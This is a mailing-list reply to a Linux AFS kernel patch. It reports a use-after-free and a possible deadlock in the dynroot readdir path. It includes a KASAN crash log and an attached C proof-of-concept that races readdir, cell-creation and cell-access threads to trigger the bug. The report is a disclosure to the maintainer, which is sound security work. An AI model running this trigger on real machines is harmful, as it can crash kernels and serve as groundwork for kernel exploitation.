[PATCH v3 18/20] afs: Fix lack of locking around modifications of net->cells_dyn_ino
XIAO WU
xiaowu.417 at qq.com
Mon Jun 22 13:29:59 PDT 2026
Hi David,
I came across the Sashiko AI review [1] of this series and was able to
reproduce a use-after-free in the AFS dynroot readdir path that this
patch touches. I wanted to share the concrete evidence and a PoC.
The patch adds a spinlock (cells_dyn_ino_lock) around modifications to
net->cells_dyn_ino, but leaves two issues:
1. **Read-side still missing RCU protection**: afs_dynroot_readdir_cells()
calls idr_get_next(&net->cells_dyn_ino, ...) without rcu_read_lock().
Since the patch moves idr_remove() inside the RCU callback
(afs_cell_destroy),
the IDR's internal radix tree nodes can be freed while idr_get_next()
is traversing them. dir_emit() sleeps, allowing the grace period to
pass, and the reader returns to freed memory.
2. **Potential deadlock**: afs_alloc_cell() uses spin_lock() (without
disabling softirqs), but afs_cell_destroy() runs in RCU_SOFTIRQ
context via call_rcu() and acquires the same lock. If a softirq
interrupts process context while the lock is held, the RCU callback
could spin-wait on the same CPU.
[Reproduction]
The PoC mounts an AFS dynroot filesystem, pre-populates 50 cells, then
runs 4 threads:
- 2 readdir threads: continuously opendir/readdir the dynroot,
exercising idr_get_next() without rcu_read_lock()
- 1 creator thread: adds new cells via /proc/fs/afs/cells,
exercising idr_alloc_cyclic() with spin_lock()
- 1 accessor thread: opens/closes cell directories, triggering
cell lookup/unuse → call_rcu → afs_cell_destroy → idr_remove()
The UAF triggers deterministically within 10 seconds on a patched
kernel with CONFIG_KASAN=y.
[Crash log — kernel 7.1.0-next-20260618, CONFIG_KASAN=y, SMP]
BUG: KASAN: slab-use-after-free in afs_dynroot_readdir+0xa26/0xb70
Read of size 4 at addr ffff888114df2958 by task poc/11248
Call Trace:
<TASK>
dump_stack_lvl
print_report
kasan_report
afs_dynroot_readdir+0xa26/0xb70
(reading cell->state or cell->dynroot_ino from a freed cell)
...
The PoC is attached. It compiles with:
gcc -o poc poc.c -static -lpthread
[1]
https://sashiko.dev/#/patchset/20260618155141.2513212-1-dhowells%40redhat.com
(Sashiko AI code review — "Use-After-Free", Severity: High)
Thanks,
XIAOWU
// SPDX-License-Identifier: GPL-2.0-only
/*
* PoC for use-after-free in AFS dynroot readdir due to idr_remove()
* being called inside RCU callback while afs_dynroot_readdir_cells()
* calls idr_get_next() without rcu_read_lock().
*
* Bug: Patch 18/20 added spin_lock(&net->cells_dyn_ino_lock) around
* idr_alloc_cyclic() in afs_alloc_cell() (process context) and around
* idr_remove() in afs_cell_destroy() (RCU callback context). The
* idr_remove() now happens inside the RCU callback, and the IDR
* internal radix tree nodes are freed after call_rcu(). Meanwhile,
* afs_dynroot_readdir_cells() calls idr_get_next() without
* rcu_read_lock(), so a concurrent idr_remove() freeing internal
* nodes creates a use-after-free.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mount.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <errno.h>
#include <sched.h>
#include <time.h>
#include <pthread.h>
#include <dirent.h>
#include <signal.h>
#define MNT_PATH "/tmp/afsroot"
#define PROC_CELLS "/proc/fs/afs/cells"
#define MAX_THREADS 4
/* Cell names - must be printable, no '/' or '@', not starting with '.' */
#define NUM_CELL_NAMES 50
static char cell_names[NUM_CELL_NAMES][32];
static volatile int stop_flag = 0;
static pthread_t threads[MAX_THREADS];
static void die(const char *msg)
{
perror(msg);
exit(1);
}
static void add_cell(const char *name)
{
char buf[256];
int len = snprintf(buf, sizeof(buf), "add %s", name);
int fd = open(PROC_CELLS, O_WRONLY);
if (fd < 0)
return;
/* Ignore errors (cell may already exist) */
(void)write(fd, buf, len);
close(fd);
}
/* Thread that creates new cells, which calls afs_alloc_cell ->
* idr_alloc_cyclic, holding cells_dyn_ino_lock via spin_lock().
* The lock does not disable softirqs, so an RCU callback could
* run on this CPU while the lock is held. */
static void *creator_thread(void *arg)
{
int idx = (long)arg;
char name[64];
int i;
for (i = 0; i < 10000 && !stop_flag; i++) {
int ci = (i + idx * 1000) % NUM_CELL_NAMES;
snprintf(name, sizeof(name), "%s_p%d", cell_names[ci], idx);
add_cell(name);
if (i % 100 == 0)
usleep(10);
}
return NULL;
}
/* Thread that reads the dynroot directory in a tight loop.
* This calls afs_dynroot_readdir -> afs_dynroot_readdir_cells
* -> idr_get_next() WITHOUT rcu_read_lock(). */
static void *readdir_thread(void *arg)
{
int i;
for (i = 0; i < 100000 && !stop_flag; i++) {
DIR *dir = opendir(MNT_PATH);
if (!dir) {
usleep(100);
continue;
}
/* Read ALL directory entries. For each entry, idr_get_next
* traverses the radix tree's internal nodes (which are RCU
* protected). Since we DON'T hold rcu_read_lock(), and a
* concurrent idr_remove (in RCU callback) can free radix
* tree nodes, this is a use-after-free.
*/
struct dirent *entry;
while ((entry = readdir(dir)) != NULL) {
/* Touch the entry data to force memory access */
__asm__ volatile("" : : "r"(entry->d_type),
"r"(entry->d_name[0]));
}
closedir(dir);
}
return NULL;
}
/* Thread that opens cell directories, triggering refcounting
* that eventually leads to cell destruction via afs_unuse_cell
* -> afs_manage_cell -> call_rcu -> afs_cell_destroy. */
static void *accessor_thread(void *arg)
{
char path[256];
int i;
for (i = 0; i < 50000 && !stop_flag; i++) {
int ci = i % NUM_CELL_NAMES;
snprintf(path, sizeof(path), "%s/%s", MNT_PATH, cell_names[ci]);
/* Opening triggers lookup, which creates a new cell if needed.
* Closing triggers unuse, which eventually may free the cell.
*/
int fd = open(path, O_RDONLY | O_DIRECTORY);
if (fd >= 0) {
/* Just accessing the directory entry - this takes a ref */
struct stat st;
if (fstat(fd, &st) == 0) {
__asm__ volatile("" : : "r"(st.st_ino));
}
close(fd);
/* After close, cell may get freed */
}
if (i % 20 == 0)
sched_yield();
}
return NULL;
}
int main(int argc, char **argv)
{
int i, ret, status;
pid_t pid;
/* Use subprocess to isolate effects */
pid = fork();
if (pid < 0)
die("fork");
if (pid == 0) {
/* Child - run the PoC */
printf("AFS dynroot use-after-free PoC\n");
printf("===============================\n\n");
/* Initialize cell names */
for (i = 0; i < NUM_CELL_NAMES; i++) {
snprintf(cell_names[i], sizeof(cell_names[i]), "cell%d", i);
}
/* Create mount point */
mkdir(MNT_PATH, 0755);
/* Load module if needed */
system("modprobe kafs 2>/dev/null");
usleep(50000);
/* Mount AFS dynroot */
printf("[*] Mounting AFS dynroot at %s...\n", MNT_PATH);
if (mount("none", MNT_PATH, "afs", 0, "dyn") < 0) {
fprintf(stderr, "[!] mount failed: %s\n", strerror(errno));
_exit(1);
}
printf("[+] Mounted successfully\n");
usleep(100000);
/* Pre-create cells to populate the IDR radix tree */
printf("[*] Pre-populating %d cells...\n", NUM_CELL_NAMES);
for (i = 0; i < NUM_CELL_NAMES; i++) {
add_cell(cell_names[i]);
if (i % 10 == 0)
usleep(1000);
}
printf("[+] Cells created\n");
/* Verify we can read them */
{
DIR *dir = opendir(MNT_PATH);
if (dir) {
int cnt = 0;
struct dirent *e;
while ((e = readdir(dir))) cnt++;
closedir(dir);
printf("[+] Dynroot has %d entries\n", cnt);
}
}
printf("[*] Starting race threads...\n");
/* Start 2 readdir threads */
for (i = 0; i < 2; i++) {
ret = pthread_create(&threads[i], NULL, readdir_thread,
(void *)(long)i);
if (ret) fprintf(stderr, "readdir thread %d: %s\n", i,
strerror(ret));
}
/* Start 1 creator thread */
ret = pthread_create(&threads[2], NULL, creator_thread,
(void *)(long)1);
if (ret) fprintf(stderr, "creator thread: %s\n", strerror(ret));
/* Start 1 accessor thread */
ret = pthread_create(&threads[3], NULL, accessor_thread,
(void *)(long)1);
if (ret) fprintf(stderr, "accessor thread: %s\n", strerror(ret));
/* Run for 10 seconds */
sleep(10);
/* Signal stop */
stop_flag = 1;
/* Wait for threads */
for (i = 0; i < 4; i++) {
pthread_join(threads[i], NULL);
}
printf("[*] All threads stopped\n");
printf("[*] Checking dmesg for crash evidence...\n");
/* Collect dmesg output */
FILE *dmesg = popen("dmesg -c 2>/dev/null || dmesg | tail
-100", "r");
if (dmesg) {
char buf[512];
int found = 0;
while (fgets(buf, sizeof(buf), dmesg)) {
if (strstr(buf, "KASAN") || strstr(buf, "BUG:") ||
strstr(buf, "Oops") || strstr(buf, "Unable to
handle") ||
strstr(buf, "general protection") ||
strstr(buf, "rcu_callback") ||
strstr(buf, "call_rcu") ||
strstr(buf, "idr_remove") ||
strstr(buf, "afs_cell_destroy")) {
printf("%s", buf);
found = 1;
}
}
if (!found)
printf("[*] No crash evidence in dmesg\n");
pclose(dmesg);
}
/* Clean up */
umount2(MNT_PATH, MNT_FORCE);
rmdir(MNT_PATH);
printf("\n[*] PoC complete\n");
_exit(0);
}
/* Parent - wait for child */
waitpid(pid, &status, 0);
if (WIFSIGNALED(status)) {
int sig = WTERMSIG(status);
printf("\n[!] Child killed by signal %d (%s)\n", sig,
strsignal(sig));
printf("[!] This confirms the bug triggered!\n");
return 1;
}
printf("\n[*] Child exited normally (status %d)\n",
WEXITSTATUS(status));
return 0;
}
More information about the linux-afs
mailing list